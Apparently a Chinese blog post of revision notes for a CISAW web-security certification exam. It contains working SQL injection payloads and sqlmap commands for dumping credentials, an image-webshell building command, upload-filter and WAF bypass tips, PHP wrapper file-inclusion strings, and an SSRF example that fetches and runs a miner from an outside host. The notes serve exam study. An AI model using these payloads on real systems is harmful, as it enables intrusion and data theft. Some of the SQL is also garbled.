web考证php实体,CISAW-Web基础级考证——考前复习知识点大杂烩

当你的才华

还撑不起你的野心时

那你就应该静下心来学习

明天要考CISAW-Web安全基础级证书,复习整理一下思路,明天考试

目录

sql注入时,使用sqlmap注入mysql和access数据库有什么不同

sql注入

命令执行:

xss:

csrf

xxe

ssrf

代码审计:

php基本功:

python:

sql注入时,使用sqlmap注入mysql和access数据库有什么不同

三个给分点:

1.命令

mysql:

sqlmap   -u   url   --dbs

sqlmap   -u   url   -D   数据库名   --tables

sqlmap   -u   url   -D   数据库名   -T  表名   --columns

sqlmap   -u   url   -D   数据库名   -T  表名   -C 字段名   --dump

2. access:

sqlmap -u   url   --tables

sqlmap -u   url   --columns   -T 表名

sqlmap -u   url   -T  表名      -C 字段名    --dump

3. 说出sqlmap为什么注入access没有dbs

Access 每个数据就是个单独文件,每个Access 只有表结构

图片马的制作:

写出命令即可

/a

ASCIl文本文件(默认

/b

二进制文件复制——将复制扩展字符

windows

copy 1.jpg /b + 2.php /a  hack.jpg

linux

cp 1.jpg /b + 2.php /a hack.jpg

sql注入

1.union

# 判断是否存在注入

?id=1'

# 判断该注入点的长度是多少

?id=1' order by * --+

# 确认长度为*后(长度为3),获取系统信息(分别使用 user()、database()、version(),来进行查询)

?id=1' union select 1,2,version() --+

# 爆表

?id=1' union select 1,2,table_name from information_schema.tables

where table_schema='数据库名' limit 0,1 --+

# 爆字段

id=1' union select 1,2,table_column from information_schema.columns

where table_schema='数据库名' and table_name='表名' limit 0,1 --+

# 爆账号和密码

?id=1' union select 1,username,password from users limit 0,1 --+

• Booleanbase(普通盲注)

• Timebase(时间盲注)

• Errorbase(基于报错的盲注)。

至于具体分别,我们在后面的试验中会学习到。 首先我们要知道在盲注中经常用到的一些方式:

• left(database(),1) 返回 database()的最左面 1 个字符

• length(databse()) 返回数据库的长度

• substr(a,b,c) 从 b 位置开始,截取字符串 a 的 c 长度

• ascii() 将某个字符转换为 ascii 值

• mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位

# 盲注猜解系统版本号左边开头信息

?id=1' and left(version(),1)=5 --+

# 盲注猜解系统版本长度

?id=1' and length(version())=* --+

# 盲注猜解数据库版本信息内容

?id=1' and left(version,1) > '*' --+

# 盲注猜解数据库的表的名称

?id=1' and ascii(substr((select table_name from information_schema.

tables where table_shcema=database() limit 0,1),1,1)) > 100 --+

# 盲注猜解数据库表的列名

id=1' and ascii(substr((select table_column from information_schema

columns where table_shcema='数据库名' and table_name='表名'

limit 0,1),1,1)) > 99 --+

# 盲注猜解列名的内容

# 0x20 可以作为整型常量和单字节表示,在这里作为单字节表示,可用于字符型变量的赋值,用于char时,其代表ascii码值0x20,即字符空格''

?id=1' and 1=(select ifnull(cast(username as char),0x20) from

数据库名.表名 order by id limi 0,1),1,)) = 68 --+

# 判断数据库

?id=1' and 1=(select 1 from information_schema.columns where

table_name='表名' and column_name regexp '^username' limit 0,1) > 97 --+

2.bool

# 判断,同理表名字,段名

?id=1' and length(version())=8 --+

# 爆库名

?id=1' and left((select database()),8)='security'--+

# 爆表,爆字段,爆值

3.报错(extractvalue()函数 / updatexml()函数 / floor()函数)

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

注:updatexml注入

首先了解下updatexml()函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

4.time(sleep() / benchmark)

# 判断是否存在延时注入

?id=1' and sleep(3) --+

# 判断数据库长度是否为4,如果为真则延时3秒加载也没,为false则返回1

?id=1' and if(length(database())=4,sleep(3),1) --+

# 猜解数据库名称

?id=1' and if(left(database(),1)='d',sleep(3),1)--+

# 猜解表名

?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+

# 猜解密码字段

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+

# 猜解账号字段

?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+

# 猜解密码字段内容

?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+

# 猜解账号字段内容

?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+

数据库

1.mysql(information_schema)

2.mssql(注入靠比大小)

3.access(没有库结构,只有表列)

注入点:

1.int

2.string

文件上传:

1. 木马

大马/小马

• 大马(功能多,代码量大)

• 小马(功能单一,一行解决)

什么情况下用小马?什么情况下用大马?什么时候用过狗马?

• 过狗小马:冰蝎小马

•过狗大马:过狗大马

答:遇到安全狗,直接上大马。原因是菜刀流量特征明显,而大马是正常文件正常访问。小马需要菜刀连接,而大马不需要

2.上传点

•头像

•文件管理

•附件管理

3.上传绕过

前端验证

禁用js

类型检测

mime

后缀名检测

各种截断

头检测

冰蝎图片木马

图片二次渲染

上传普通图片,判断渲染前和渲染后不变的位置

文件包含

远程文件包含(allow_url_include)

包含http路径,引入webshell

本地文件

包含本地敏感文件(/etc/passwd,config.ini)

伪协议

php://input     输入/输出流

php://input

php://filter      PHP 归档

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php

file://              访问本地文件系统

file://etc/passwd

phar://            PHP 归档(php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压)

用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php

zip://             跟phar 类似,但用法不太一样

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php

命令执行:

危险函数(exec/system/shell_exec/popen/passthru)

代码执行:

危险函数(eval/assert/preg_replace /e参数)

反序列化:

原理:

构造函数__construct

析构函数__distruct

__sleep

__weekup

定义的类中的方法在serialize/unserialize时候引用方法,导致(变量覆盖,传入恶意代码)进而危害系统安全

xss:

xss本质是恶意的js代码插入到前端页面中执行

类型:

1.反射型

危害小,一次性,常用作钓鱼

2.存储型

危害大,持久型(常常存在数据库中),常用来打cookie或截图,getshell

3.dom型

新型xss,通常认为是反射型,出现在各种事件处,最新研究可以是持久型

csrf

通常和xss连用,不获取cookie,而是通过诱导点击/ajax伪造发包等方式发起伪造请求

xxe

xml外部实体注入,可以引入外部实体实现读取本地敏感文件

ssrf

服务器端请求伪造

文件包含(include url)

命令执行(wget url)

危害:

可以控制服务器扫描内网

可以控制服务器下载挖矿(wget http://xxxxx/qwer;chmod a+x qwer;./qwer)

代码审计:

思路:

1.危险函数里边的可控变量

2.外部接受的变量传递流程

3.单个模块功能审计

php基本功:

函数(过滤,执行,string调整,匹配对比)

python:

变量

四则运算

逻辑控制(if else)

循环(for while)

函数

库(丰富的库,requests/bs4/urllib2,os/sys,xls,math,iso)

我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值